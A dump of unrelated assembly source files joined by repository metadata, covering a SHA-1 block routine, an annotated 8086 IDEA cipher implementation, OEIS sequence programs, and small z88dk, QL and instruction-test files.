rorx $(27), %edx, %r11d
rorx $(2), %edx, %r8d
and %eax, %edx
add %r11d, %ecx
xor %r10d, %edx
addl (12)(%r13), %ebx
add %edx, %ebx
rorx $(27), %ecx, %r11d
rorx $(2), %ecx, %edx
add %r11d, %ebx
xor %r8d, %ecx
xor %eax, %ecx
addl (32)(%r13), %ebp
add %ecx, %ebp
rorx $(27), %ebx, %r11d
rorx $(2), %ebx, %ecx
xor %edx, %ebx
add %r11d, %ebp
xor %r8d, %ebx
addl (36)(%r13), %eax
add %ebx, %eax
rorx $(27), %ebp, %r11d
rorx $(2), %ebp, %ebx
xor %ecx, %ebp
add %r11d, %eax
xor %edx, %ebp
addl (40)(%r13), %r8d
add %ebp, %r8d
rorx $(27), %eax, %r11d
rorx $(2), %eax, %ebp
xor %ebx, %eax
add %r11d, %r8d
xor %ecx, %eax
addl (44)(%r13), %edx
add %eax, %edx
rorx $(27), %r8d, %r11d
rorx $(2), %r8d, %eax
xor %ebp, %r8d
add %r11d, %edx
xor %ebx, %r8d
addl (64)(%r13), %ecx
add %r8d, %ecx
rorx $(27), %edx, %r11d
rorx $(2), %edx, %r8d
xor %eax, %edx
add %r11d, %ecx
xor %ebp, %edx
addl (68)(%r13), %ebx
add %edx, %ebx
rorx $(27), %ecx, %r11d
rorx $(2), %ecx, %edx
xor %r8d, %ecx
add %r11d, %ebx
xor %eax, %ecx
addl (72)(%r13), %ebp
add %ecx, %ebp
rorx $(27), %ebx, %r11d
rorx $(2), %ebx, %ecx
xor %edx, %ebx
add %r11d, %ebp
xor %r8d, %ebx
addl (76)(%r13), %eax
add %ebx, %eax
rorx $(27), %ebp, %r11d
rorx $(2), %ebp, %ebx
xor %ecx, %ebp
add %r11d, %eax
xor %edx, %ebp
addl (96)(%r13), %r8d
add %ebp, %r8d
rorx $(27), %eax, %r11d
rorx $(2), %eax, %ebp
xor %ebx, %eax
add %r11d, %r8d
xor %ecx, %eax
addl (100)(%r13), %edx
add %eax, %edx
rorx $(27), %r8d, %r11d
rorx $(2), %r8d, %eax
xor %ebp, %r8d
add %r11d, %edx
xor %ebx, %r8d
addl (104)(%r13), %ecx
add %r8d, %ecx
rorx $(27), %edx, %r11d
rorx $(2), %edx, %r8d
xor %eax, %edx
add %r11d, %ecx
xor %ebp, %edx
addl (108)(%r13), %ebx
add $(128), %r13
add %edx, %ebx
rorx $(27), %ecx, %r11d
rorx $(2), %ecx, %edx
xor %r8d, %ecx
add %r11d, %ebx
xor %eax, %ecx
addl (%r13), %ebp
add %ecx, %ebp
rorx $(27), %ebx, %r11d
rorx $(2), %ebx, %ecx
xor %edx, %ebx
add %r11d, %ebp
xor %r8d, %ebx
addl (4)(%r13), %eax
add %ebx, %eax
rorx $(27), %ebp, %r11d
rorx $(2), %ebp, %ebx
xor %ecx, %ebp
add %r11d, %eax
xor %edx, %ebp
addl (8)(%r13), %r8d
add %ebp, %r8d
rorx $(27), %eax, %r11d
rorx $(2), %eax, %ebp
xor %ebx, %eax
add %r11d, %r8d
xor %ecx, %eax
addl (12)(%r13), %edx
add %eax, %edx
rorx $(27), %r8d, %r11d
rorx $(2), %r8d, %eax
xor %ebp, %r8d
add %r11d, %edx
xor %ebx, %r8d
addl (32)(%r13), %ecx
add %r8d, %ecx
rorx $(27), %edx, %r11d
rorx $(2), %edx, %r8d
xor %eax, %edx
add %r11d, %ecx
xor %ebp, %edx
addl (36)(%r13), %ebx
add %edx, %ebx
rorx $(27), %ecx, %r11d
rorx $(2), %ecx, %edx
xor %r8d, %ecx
add %r11d, %ebx
xor %eax, %ecx
addl (40)(%r13), %ebp
add %ecx, %ebp
rorx $(27), %ebx, %r11d
rorx $(2), %ebx, %ecx
xor %edx, %ebx
add %r11d, %ebp
xor %r8d, %ebx
addl (44)(%r13), %eax
add %ebx, %eax
rorx $(27), %ebp, %r11d
rorx $(2), %ebp, %ebx
xor %ecx, %ebp
add %r11d, %eax
mov %ecx, %r10d
xor %edx, %r10d
and %r10d, %ebp
addl (64)(%r13), %r8d
xor %ecx, %ebp
mov %ebx, %r10d
xor %ecx, %r10d
add %ebp, %r8d
rorx $(27), %eax, %r11d
rorx $(2), %eax, %ebp
xor %ebx, %eax
add %r11d, %r8d
and %r10d, %eax
addl (68)(%r13), %edx
xor %ebx, %eax
mov %ebp, %r10d
xor %ebx, %r10d
add %eax, %edx
rorx $(27), %r8d, %r11d
rorx $(2), %r8d, %eax
xor %ebp, %r8d
add %r11d, %edx
and %r10d, %r8d
addl (72)(%r13), %ecx
xor %ebp, %r8d
mov %eax, %r10d
xor %ebp, %r10d
add %r8d, %ecx
rorx $(27), %edx, %r11d
rorx $(2), %edx, %r8d
xor %eax, %edx
add %r11d, %ecx
and %r10d, %edx
addl (76)(%r13), %ebx
xor %eax, %edx
mov %r8d, %r10d
xor %eax, %r10d
add %edx, %ebx
rorx $(27), %ecx, %r11d
rorx $(2), %ecx, %edx
xor %r8d, %ecx
add %r11d, %ebx
and %r10d, %ecx
addl (96)(%r13), %ebp
xor %r8d, %ecx
mov %edx, %r10d
xor %r8d, %r10d
add %ecx, %ebp
rorx $(27), %ebx, %r11d
rorx $(2), %ebx, %ecx
xor %edx, %ebx
add %r11d, %ebp
and %r10d, %ebx
addl (100)(%r13), %eax
xor %edx, %ebx
mov %ecx, %r10d
xor %edx, %r10d
add %ebx, %eax
rorx $(27), %ebp, %r11d
rorx $(2), %ebp, %ebx
xor %ecx, %ebp
add %r11d, %eax
and %r10d, %ebp
addl (104)(%r13), %r8d
xor %ecx, %ebp
mov %ebx, %r10d
xor %ecx, %r10d
add %ebp, %r8d
rorx $(27), %eax, %r11d
rorx $(2), %eax, %ebp
xor %ebx, %eax
add %r11d, %r8d
and %r10d, %eax
addl (108)(%r13), %edx
add $(128), %r13
xor %ebx, %eax
mov %ebp, %r10d
xor %ebx, %r10d
add %eax, %edx
rorx $(27), %r8d, %r11d
rorx $(2), %r8d, %eax
xor %ebp, %r8d
add %r11d, %edx
and %r10d, %r8d
addl (%r13), %ecx
xor %ebp, %r8d
mov %eax, %r10d
xor %ebp, %r10d
add %r8d, %ecx
rorx $(27), %edx, %r11d
rorx $(2), %edx, %r8d
xor %eax, %edx
add %r11d, %ecx
and %r10d, %edx
addl (4)(%r13), %ebx
xor %eax, %edx
mov %r8d, %r10d
xor %eax, %r10d
add %edx, %ebx
rorx $(27), %ecx, %r11d
rorx $(2), %ecx, %edx
xor %r8d, %ecx
add %r11d, %ebx
and %r10d, %ecx
addl (8)(%r13), %ebp
xor %r8d, %ecx
mov %edx, %r10d
xor %r8d, %r10d
add %ecx, %ebp
rorx $(27), %ebx, %r11d
rorx $(2), %ebx, %ecx
xor %edx, %ebx
add %r11d, %ebp
and %r10d, %ebx
addl (12)(%r13), %eax
xor %edx, %ebx
mov %ecx, %r10d
xor %edx, %r10d
add %ebx, %eax
rorx $(27), %ebp, %r11d
rorx $(2), %ebp, %ebx
xor %ecx, %ebp
add %r11d, %eax
and %r10d, %ebp
addl (32)(%r13), %r8d
xor %ecx, %ebp
mov %ebx, %r10d
xor %ecx, %r10d
add %ebp, %r8d
rorx $(27), %eax, %r11d
rorx $(2), %eax, %ebp
xor %ebx, %eax
add %r11d, %r8d
and %r10d, %eax
addl (36)(%r13), %edx
xor %ebx, %eax
mov %ebp, %r10d
xor %ebx, %r10d
add %eax, %edx
rorx $(27), %r8d, %r11d
rorx $(2), %r8d, %eax
xor %ebp, %r8d
add %r11d, %edx
and %r10d, %r8d
addl (40)(%r13), %ecx
xor %ebp, %r8d
mov %eax, %r10d
xor %ebp, %r10d
add %r8d, %ecx
rorx $(27), %edx, %r11d
rorx $(2), %edx, %r8d
xor %eax, %edx
add %r11d, %ecx
and %r10d, %edx
addl (44)(%r13), %ebx
xor %eax, %edx
mov %r8d, %r10d
xor %eax, %r10d
add %edx, %ebx
rorx $(27), %ecx, %r11d
rorx $(2), %ecx, %edx
xor %r8d, %ecx
add %r11d, %ebx
and %r10d, %ecx
addl (64)(%r13), %ebp
xor %r8d, %ecx
mov %edx, %r10d
xor %r8d, %r10d
add %ecx, %ebp
rorx $(27), %ebx, %r11d
rorx $(2), %ebx, %ecx
xor %edx, %ebx
add %r11d, %ebp
and %r10d, %ebx
addl (68)(%r13), %eax
xor %edx, %ebx
mov %ecx, %r10d
xor %edx, %r10d
add %ebx, %eax
rorx $(27), %ebp, %r11d
rorx $(2), %ebp, %ebx
xor %ecx, %ebp
add %r11d, %eax
and %r10d, %ebp
addl (72)(%r13), %r8d
xor %ecx, %ebp
mov %ebx, %r10d
xor %ecx, %r10d
add %ebp, %r8d
rorx $(27), %eax, %r11d
rorx $(2), %eax, %ebp
xor %ebx, %eax
add %r11d, %r8d
and %r10d, %eax
addl (76)(%r13), %edx
xor %ebx, %eax
add %eax, %edx
rorx $(27), %r8d, %r11d
rorx $(2), %r8d, %eax
xor %ebp, %r8d
add %r11d, %edx
xor %ebx, %r8d
addl (96)(%r13), %ecx
add %r8d, %ecx
rorx $(27), %edx, %r11d
rorx $(2), %edx, %r8d
xor %eax, %edx
add %r11d, %ecx
xor %ebp, %edx
addl (100)(%r13), %ebx
add %edx, %ebx
rorx $(27), %ecx, %r11d
rorx $(2), %ecx, %edx
xor %r8d, %ecx
add %r11d, %ebx
xor %eax, %ecx
addl (104)(%r13), %ebp
add %ecx, %ebp
rorx $(27), %ebx, %r11d
rorx $(2), %ebx, %ecx
xor %edx, %ebx
add %r11d, %ebp
xor %r8d, %ebx
addl (108)(%r13), %eax
add $(128), %r13
add %ebx, %eax
rorx $(27), %ebp, %r11d
rorx $(2), %ebp, %ebx
xor %ecx, %ebp
add %r11d, %eax
xor %edx, %ebp
addl (%r13), %r8d
add %ebp, %r8d
rorx $(27), %eax, %r11d
rorx $(2), %eax, %ebp
xor %ebx, %eax
add %r11d, %r8d
xor %ecx, %eax
addl (4)(%r13), %edx
add %eax, %edx
rorx $(27), %r8d, %r11d
rorx $(2), %r8d, %eax
xor %ebp, %r8d
add %r11d, %edx
xor %ebx, %r8d
addl (8)(%r13), %ecx
add %r8d, %ecx
rorx $(27), %edx, %r11d
rorx $(2), %edx, %r8d
xor %eax, %edx
add %r11d, %ecx
xor %ebp, %edx
addl (12)(%r13), %ebx
add %edx, %ebx
rorx $(27), %ecx, %r11d
rorx $(2), %ecx, %edx
xor %r8d, %ecx
add %r11d, %ebx
xor %eax, %ecx
addl (32)(%r13), %ebp
add %ecx, %ebp
rorx $(27), %ebx, %r11d
rorx $(2), %ebx, %ecx
xor %edx, %ebx
add %r11d, %ebp
xor %r8d, %ebx
addl (36)(%r13), %eax
add %ebx, %eax
rorx $(27), %ebp, %r11d
rorx $(2), %ebp, %ebx
xor %ecx, %ebp
add %r11d, %eax
xor %edx, %ebp
addl (40)(%r13), %r8d
add %ebp, %r8d
rorx $(27), %eax, %r11d
rorx $(2), %eax, %ebp
xor %ebx, %eax
add %r11d, %r8d
xor %ecx, %eax
addl (44)(%r13), %edx
add %eax, %edx
rorx $(27), %r8d, %r11d
rorx $(2), %r8d, %eax
xor %ebp, %r8d
add %r11d, %edx
xor %ebx, %r8d
addl (64)(%r13), %ecx
add %r8d, %ecx
rorx $(27), %edx, %r11d
rorx $(2), %edx, %r8d
xor %eax, %edx
add %r11d, %ecx
xor %ebp, %edx
addl (68)(%r13), %ebx
add %edx, %ebx
rorx $(27), %ecx, %r11d
rorx $(2), %ecx, %edx
xor %r8d, %ecx
add %r11d, %ebx
xor %eax, %ecx
addl (72)(%r13), %ebp
add %ecx, %ebp
rorx $(27), %ebx, %r11d
rorx $(2), %ebx, %ecx
xor %edx, %ebx
add %r11d, %ebp
xor %r8d, %ebx
addl (76)(%r13), %eax
add %ebx, %eax
rorx $(27), %ebp, %r11d
rorx $(2), %ebp, %ebx
xor %ecx, %ebp
add %r11d, %eax
xor %edx, %ebp
addl (96)(%r13), %r8d
add %ebp, %r8d
rorx $(27), %eax, %r11d
rorx $(2), %eax, %ebp
xor %ebx, %eax
add %r11d, %r8d
xor %ecx, %eax
addl (100)(%r13), %edx
add %eax, %edx
rorx $(27), %r8d, %r11d
rorx $(2), %r8d, %eax
xor %ebp, %r8d
add %r11d, %edx
xor %ebx, %r8d
addl (104)(%r13), %ecx
add %r8d, %ecx
rorx $(27), %edx, %r11d
rorx $(2), %edx, %r8d
xor %eax, %edx
add %r11d, %ecx
xor %ebp, %edx
addl (108)(%r13), %ebx
add $(128), %r13
add %edx, %ebx
rorx $(27), %ecx, %r11d
add %r11d, %ebx
addl (%rdi), %ebx
movl %ebx, (%rdi)
addl (4)(%rdi), %ecx
movl %ecx, (4)(%rdi)
addl (8)(%rdi), %r8d
movl %r8d, (8)(%rdi)
addl (12)(%rdi), %eax
movl %eax, (12)(%rdi)
addl (16)(%rdi), %ebp
movl %ebp, (16)(%rdi)
mov %eax, %edx
mov %ebx, %eax
mov %ebp, %r10d
mov %ecx, %ebp
mov %r8d, %ecx
mov %r10d, %r8d
add $(128), %rsi
sub $(128), %r14
jg .Lsha1_block2_loopgas_1
.Ldonegas_1:
mov %r15, %rsp
add $(648), %rsp
vzeroupper
pop %r15
pop %r14
pop %r13
pop %r12
pop %rbx
pop %rbp
ret
.Lfe1:
.size UpdateSHA1, .Lfe1-(UpdateSHA1)
| 31.774312
| 110
| 0.378183
|
8ab8efff75836db50385b56c3225e190c33a0563
| 157
|
asm
|
Assembly
|
libsrc/_DEVELOPMENT/arch/zx/display/c/sccz80/zx_px2bitmask.asm
|
jpoikela/z88dk
|
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
|
[
"ClArtistic"
] | 38
|
2021-06-18T12:56:15.000Z
|
2022-03-12T20:38:40.000Z
|
libsrc/_DEVELOPMENT/arch/zx/display/c/sccz80/zx_px2bitmask.asm
|
jpoikela/z88dk
|
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
|
[
"ClArtistic"
] | 2
|
2021-06-20T16:28:12.000Z
|
2021-11-17T21:33:56.000Z
|
libsrc/_DEVELOPMENT/arch/zx/display/c/sccz80/zx_px2bitmask.asm
|
jpoikela/z88dk
|
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
|
[
"ClArtistic"
] | 6
|
2021-06-18T18:18:36.000Z
|
2021-12-22T08:01:32.000Z
|
; uchar zx_px2bitmask(uchar x)
SECTION code_clib
SECTION code_arch
PUBLIC zx_px2bitmask
EXTERN asm_zx_px2bitmask
defc zx_px2bitmask = asm_zx_px2bitmask
| 13.083333
| 38
| 0.840764
|
afff9a463fc62f307280e98eb25a06c1513f9fb6
| 555
|
asm
|
Assembly
|
oeis/016/A016991.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/016/A016991.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/016/A016991.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A016991: a(n) = (7*n)^11.
; 0,1977326743,4049565169664,350277500542221,8293509467471872,96549157373046875,717368321110468608,3909821048582988049,16985107389382393856,62050608388552823487,197732674300000000000,564154396389137449973,1469170321634239709184,3543686674874777831491,8007313507497959524352,17103393581163134765625,34785499933455142617088,67766737102405685929319,127079645979756182501376,230339304218442143770717,404956516966400000000000,692613069293330583916203,1155388203804953497544704,1884016215314563749249761
pow $0,11
mul $0,1977326743
| 92.5
| 497
| 0.90991
|
29aff14106dcaa8c005579f84e01c3ec975b31a8
| 9,444
|
asm
|
Assembly
|
cryptl30/crypt/idea8086.asm
|
ab300819/applied-cryptography
|
3fddc4cda2e1874e978608259034d36c60a4dbba
|
[
"MIT",
"Unlicense"
] | 1
|
2021-04-17T05:01:00.000Z
|
2021-04-17T05:01:00.000Z
|
cryptl30/crypt/idea8086.asm
|
ab300819/applied-cryptography
|
3fddc4cda2e1874e978608259034d36c60a4dbba
|
[
"MIT",
"Unlicense"
] | null | null | null |
cryptl30/crypt/idea8086.asm
|
ab300819/applied-cryptography
|
3fddc4cda2e1874e978608259034d36c60a4dbba
|
[
"MIT",
"Unlicense"
] | null | null | null |
;A while ago I posted a message claiming a speed of 238,000
;bytes/sec for an implementation of IDEA on a 33Mh 486. Below is
;an explanation and some code to show how it works. The basic
;trick should be useful on many (but not all) processors. I
;expect only those familiar with IDEA and its reference
;implementation will be able to follow the discussion. See:
;
;Lai, Xueja and Massey, James L. A Proposal for a New Block
;Encryption Standard, Eurocrypt 90
;
;For those who have been asking for the code, sorry I kept
;putting it off. I wanted to get it out of Turbo Pascal
;ideal-mode, but I never had the time.
;
;Colin Plum wrote IDEA-386 code which is included in PGP
;2.3a and uses the same tricks. I don't know who's is
;faster, but I expect they will be very close. Now
;here's how it's done.
;
;A major bottleneck in software IDEA is the mul() routine, which
;is used 34 times per 64 bit block. The routine performs
;multiplication in the multiplicative group mod 2^16+1. The two
;factors are each in a 16 bit word, and the output is also in a 16
;bit word. Note that 0 is not a member of the multiplicative
;group and 2^16 does not fit in 16 bits. We therefor use the 0
;word to represent 2^16. Now group elements map one to one onto
;all possible 16 bit words, since 2^16+1 is prime.
;
;Here is (essentially) the reference implementation from [Lai].
;
;
;unsigned mul( unsigned a, unsigned b ) {
; long int p ;
; long unsigned q ;
; if( a==0 ) p= 0x00010001 - b ;
; else if( b==0 ) p= 0x00010001 - a ;
; else {
; q= a*b;
; p= (q & 0xffff) - (q>>16)
; if( p<0 ) p= p + 0x00010001 ;
; }
; return (unsigned)(p & 0xffff) ;
;}
;
;
;Note the method of reducing a 32 bit word modulo 2^16-1. We
;subtract the high word from the low word, and add the modulus
;back if the result is less than 0. [Lai] contains a proof that
;this works, and you can convince yourself fairly easily.
;
;To speed up this routine, we note that the tests for a=0 and b=0
;will rarely be false. With the possible exception of the first 2
;of the 34 multiplications, 0 should be no more likely than any of
;the other 65535 numbers. Note that if (and only if) either a or
;b is 0 then q will also be 0, and we can check for this in one
;instruction if our processor sets a zero flag for multiplication
;(as the 68000 does but 80x86 does not).
;
;Fortunately p will also be zero after the subtraction if and only
;if either a or b is 0. Proof: r will be zero when the high order
;word of q equals the low order word, and that happens when q is
;divisible by 00010001 hex. Since 00010001h = 2^16+1 is prime,
;this happens if either a or b is a multiple of 2^16+1, and 0 is
;the only such multiple which will fit in a 16 bit word.
;
;The speed-up strategy is to proceed under the assumption that a
;and b are not 0, check to be sure in one instruction, and
;recompute if the assumption was wrong. Here's some 8086
;assembler code:
;
; mov ax, [a]
; mul [b] ; ax is implied. q is now in DX AX
; sub ax, dx ; mod 2^16+1
; jnz not0 ; Jump if neither op was 0. Usually taken.
;
; mov ax, 1 ; recompute result knowing one op is 0.
; sub ax, [a]
; sub ax, [b]
; jmp out ; Just jump over adding the carry.
;not0:
; adc ax, 0 ; If r<0 add 1, otherwise do nothing.
;out: ; Result is now in ax
;
;
;Note that when r<0 we add 1 instead of 2^16+1 since the 2^16 part
;overflows out of the result. The "adc ax, 0" does all the work
;of checking for a negative result and adding the modulus if
;needed.
;
;The multiplication takes 9 instructions, 4 of which are rarely
;executed. I believe similar tricks are possible on many
;processors. The one drawback to the check-after-multiply tactic
;is that we can't let the multiply overwrite the only copy of an
;operand.
;
;Note that most software implementations of IDEA will run at
;slightly different speeds when 0's come up in the multiply
;routine. The reference implementation is faster on 0, this one
;is faster on non-zero. This may be a problem for some real-time
;stuff, and also suggests an attack based on timing.
;
;Finally, below is an implementation of the complete encryption
;function in 8086 assembler, to replace the cipher_idea() function
;in PGP. It takes the same parameters as the function from PGP,
;and uses the c language calling conventions. I tested it using
;the debug features of the idea.c file in PGP. You will need to
;add segment/assume directives. This version uses no global data
;and should be reentrant.
;
;The handling of zero multipliers is outside the inner loop so
;that a short conditional jump can loop back to the beginning.
;Forward conditional jumps are usually not taken and backward
;jumps are usually taken, which is consistent with 586 branch
;prediction (or so I've heard). Stalls where the output of one
;instruction is needed for the next seem unavoidable.
;
;Last I heard, IDEA was patent pending. My code is up for grabs,
;although I would get a kick out being credited if you use it.
;On the other hand Colin's code is already tested and ready
;to assemble and link with PGP.
;
;--Bryan
;
;____________________CODE STARTS BELOW THIS LINE_________
; Called as: asmcrypt( inbuff, outbuff, zkey ) just like PGP
PROC _asmcrypt
; establish parameter and local space on stack
; follow c language calling conventions
ARG inblock:Word, outblock:Word, zkey:Word
LOCAL sx1:Word,sx4:Word,skk:Word,done8:Word =stacksize
push bp
mov bp, sp
sub sp, stacksize
; push ax ; My compiler assumes these are not saved.
; push bx
; push cx
; push dx
push si
push di
; Put the 16 bit sub-blocks in registers and/or local variables
mov si, [inblock]
mov ax, [si]
mov [sx1], ax ; x1 is in ax and sx1
mov di, [si+2] ; x2 is in di
mov bx, [si+4] ; x3 is in bx
mov dx, [si+6]
mov [sx4], dx ; x4 is in sx4
mov si, [zkey] ; si points to next subkey
mov [done8], si
add [done8], 96 ; we will be finished with 8 rounds
; when si=done8
@@loop: ; 8 rounds of this
add di, [si+2] ; x2+=zkey[2] is in di
add bx, [si+4] ; x3+=zkey[4] is in bx
mul [Word si] ;x1 *= zkey[0]
sub ax, dx
jz @@x1 ; if 0, use special case multiply
adc ax, 0
@@x1out:
mov [sx1], ax ; x1 is in ax and sx1
xor ax, bx ; ax= x1^x3
mul [Word si+8] ; compute kk
sub ax, dx ; if 0, use special case multiply
jz @@kk
adc ax, 0
@@kkout:
mov cx, ax ; kk is in cx
mov ax, [sx4] ; x4 *= zkey[6]
mul [Word si+6]
sub ax, dx
jz @@x4 ; if 0, use special case multiply
adc ax, 0
@@x4out:
mov [sx4], ax ; x4 is in sx4 and ax
xor ax, di ; x4^x2
add ax, cx ; kk+(x2^x4)
mul [Word si+10] ; compute t1
sub ax, dx
jz @@t1 ; if 0, use special case multiply
adc ax, 0
@@t1out: ; t1 is in ax
add cx, ax ; t2 is in cx kk+t1
xor [sx4], cx ; x4 in sx4
xor di, cx ; new x3 in di
xor bx, ax ; new x2 in bx
xchg bx, di ; x2 in di, x3 in bx
xor ax, [sx1] ; x1 in ax
mov [sx1], ax ; and [sx1]
add si, 12 ; point to next subkey
cmp si, [done8]
jne @@loop
jmp @@out8
;------------------------------------------
; Special case multiplications, when one factor is 0
@@x1: mov ax, 1
sub ax, [sx1]
sub ax, [Word si]
jmp @@x1out
@@kk: mov ax, [sx1] ; rebuild overwritten operand
xor ax, bx
neg ax
inc ax
sub ax, [si+8]
jmp @@kkout
@@x4: mov ax, 1
sub ax, [sx4]
sub ax, [Word si+6]
jmp @@x4out
@@t1: mov ax, [sx4] ; rebuild
xor ax, di
add ax, cx
neg ax
inc ax
sub ax, [si+10]
jmp @@t1out
;---------------------------------------------------
; 8 rounds are done, now that extra pseudo-round
@@out8:
push di
mov di, [outblock]
mul [Word si]
sub ax, dx
jnz @@o1n ; jump over special case code
mov ax, 1
sub ax, [sx1]
sub ax, [si]
jmp @@o1out
@@o1n: adc ax, 0
@@o1out: mov [di], ax ; final ciphertext block 1
mov ax, [sx4]
mul [Word si+6]
sub ax, dx
jnz @@o4n ; jump over special case code
mov ax, 1
sub ax, [sx4]
sub ax, [si+6]
jmp @@o4out
@@o4n: adc ax, 0
@@o4out: mov [di+6], ax ; final ciphertext block 4
add bx, [si+2]
mov [di+2], bx ; final ciphertext block 2
pop ax
add ax, [si+4]
mov [di+4], ax ; final ciphertext block 3
; Restore the stack and return
pop di
pop si
; pop dx
; pop cx
; pop bx
; pop ax
mov sp, bp
pop bp
ret
ENDP _asmcrypt
| 33.020979
| 66
| 0.595087
|
49e9dcd8ab9d8e649f7b03caaadb1c8e1508cd30
| 541
|
asm
|
Assembly
|
programs/oeis/098/A098850.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/098/A098850.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/098/A098850.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A098850: a(n) = n*(n + 18).
; 0,19,40,63,88,115,144,175,208,243,280,319,360,403,448,495,544,595,648,703,760,819,880,943,1008,1075,1144,1215,1288,1363,1440,1519,1600,1683,1768,1855,1944,2035,2128,2223,2320,2419,2520,2623,2728,2835,2944,3055,3168,3283,3400,3519,3640,3763,3888,4015,4144,4275,4408,4543,4680,4819,4960,5103,5248,5395,5544,5695,5848,6003,6160,6319,6480,6643,6808,6975,7144,7315,7488,7663,7840,8019,8200,8383,8568,8755,8944,9135,9328,9523,9720,9919,10120,10323,10528,10735,10944,11155,11368,11583
mov $1,$0
add $1,18
mul $0,$1
| 77.285714
| 479
| 0.752311
|
2fa125ebc1a59194cf39590bdfde676c28721339
| 211
|
asm
|
Assembly
|
libsrc/_DEVELOPMENT/string/c/sdcc_iy/strrstr_callee.asm
|
jpoikela/z88dk
|
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
|
[
"ClArtistic"
] | 640
|
2017-01-14T23:33:45.000Z
|
2022-03-30T11:28:42.000Z
|
libsrc/_DEVELOPMENT/string/c/sdcc_iy/strrstr_callee.asm
|
jpoikela/z88dk
|
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
|
[
"ClArtistic"
] | 1,600
|
2017-01-15T16:12:02.000Z
|
2022-03-31T12:11:12.000Z
|
libsrc/_DEVELOPMENT/string/c/sdcc_iy/strrstr_callee.asm
|
jpoikela/z88dk
|
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
|
[
"ClArtistic"
] | 215
|
2017-01-17T10:43:03.000Z
|
2022-03-23T17:25:02.000Z
|
; char *strrstr(const char *s, const char *w)
SECTION code_clib
SECTION code_string
PUBLIC _strrstr_callee
EXTERN asm_strrstr
_strrstr_callee:
pop af
pop hl
pop de
push af
jp asm_strrstr
| 11.722222
| 45
| 0.720379
|
1538635fb78843bd566d4eee438f7607dc2b0cf3
| 548
|
asm
|
Assembly
|
src/util/oli/cnv_iwstr.asm
|
olifink/qspread
|
d6403d210bdad9966af5d2a0358d4eed3f1e1c02
|
[
"MIT"
] | null | null | null |
src/util/oli/cnv_iwstr.asm
|
olifink/qspread
|
d6403d210bdad9966af5d2a0358d4eed3f1e1c02
|
[
"MIT"
] | null | null | null |
src/util/oli/cnv_iwstr.asm
|
olifink/qspread
|
d6403d210bdad9966af5d2a0358d4eed3f1e1c02
|
[
"MIT"
] | null | null | null |
; convert integer word to decimal string
;
include win1_mac_oli
section utility
xdef cnv_iwstr
;+++
; convert integer word to decimal string
; d1.w=$abcd (a0)-> '43981'
;
; Entry Exit
; d1.w word integer preserved
; a0 ptr to string preserved
;---
cnv_iwstr subr d1/a0/a1
suba.w #6,sp
move.l sp,a1
move.w d1,(a1)
xjsr ut_iwdec
adda.w #6,sp
subend
end
| 20.296296
| 57
| 0.463504
|
0e2ea1d4ee6f6de12f003f00b4bf9990a200447b
| 195
|
asm
|
Assembly
|
mc-sema/validator/x86_64/tests/TEST16ri.asm
|
randolphwong/mcsema
|
eb5b376736e7f57ff0a61f7e4e5a436bbb874720
|
[
"BSD-3-Clause"
] | 2
|
2021-08-07T16:21:29.000Z
|
2021-11-17T10:58:37.000Z
|
mc-sema/validator/x86_64/tests/TEST16ri.asm
|
randolphwong/mcsema
|
eb5b376736e7f57ff0a61f7e4e5a436bbb874720
|
[
"BSD-3-Clause"
] | null | null | null |
mc-sema/validator/x86_64/tests/TEST16ri.asm
|
randolphwong/mcsema
|
eb5b376736e7f57ff0a61f7e4e5a436bbb874720
|
[
"BSD-3-Clause"
] | null | null | null |
BITS 64
;TEST_FILE_META_BEGIN
;TEST_TYPE=TEST_F
;TEST_IGNOREFLAGS=FLAG_AF
;TEST_FILE_META_END
; TEST16ri
mov bx, 0x7
;TEST_BEGIN_RECORDING
test bx, 0x444
;TEST_END_RECORDING
| 16.25
| 25
| 0.753846
|
b16fa08894759511d15be9da5bbc374742549ed9
| 784
|
asm
|
Assembly
|
oeis/060/A060569.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/060/A060569.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/060/A060569.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A060569: Consider Pythagorean triples which satisfy X^2+(X+7)^2=Z^2; sequence gives increasing values of Z.
; Submitted by Jon Maiga
; 13,17,73,97,425,565,2477,3293,14437,19193,84145,111865,490433,651997,2858453,3800117,16660285,22148705,97103257,129092113,565959257,752403973,3298652285,4385331725,19225954453,25559586377,112057074433,148972186537,653116492145,868273532845,3806641878437,5060669010533,22186734778477,29495740530353,129313766792425,171913774171585,753695865976073,1001986904499157,4392861429064013,5840007652823357,25603472708408005,34038059012440985,149227974821384017,198388346421822553,869764376219896097
